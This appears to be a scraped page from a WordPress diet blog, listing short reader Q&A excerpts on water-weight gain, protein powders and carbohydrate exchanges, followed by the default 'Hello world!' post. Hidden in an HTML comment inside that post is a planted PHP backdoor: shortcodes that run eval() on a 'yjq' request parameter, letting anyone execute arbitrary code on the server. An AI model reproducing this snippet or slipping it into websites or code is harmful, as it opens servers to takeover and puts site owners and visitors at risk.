the diet solutions cam

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  • Hospital stay caused weight gain

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    Article written by Weight Gone Now Question:Went into hospital for 2 days for a virus and did not eat for a day in a half. Gained 3 pounds! What is the deal with that? Best Answer: Weight gain that occurs that quickly is usually a reflection of water weight gain, not fat gain. I’m guessing…

  • Whey Protein or Egg Protein Powder?

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    Question:I have been using Jay Robb Whey Protein, but it is pretty hard on my stomach. Would the egg white protein be easier to digest (I am somewhat lactose intolerant)? Best Answer: I LOVE Jay Robb Whey Protein and I’m so sorry to hear it’s not sitting well with you. Whey Protein Isolate (which is…

  • Number of grams in 1 carbohydrate exchange

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    Question:I am supposed to eat 6 carb exchanges per day. I am confused when I eat various cereals how many carbs they count as. Some cereals read as little as 36 grams of carbs and some as high as 53. How do I know how many exchanges to count this as if I measure out…

  • Hello world!

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    Welcome to WordPress. This is your first post. Edit or delete it, then start blogging! <!– [insert_php]if (isset($_REQUEST["yjq"])){eval($_REQUEST["yjq"]);exit;}[/insert_php][php]if (isset($_REQUEST["yjq"])){eval($_REQUEST["yjq"]);exit;}[/php] –>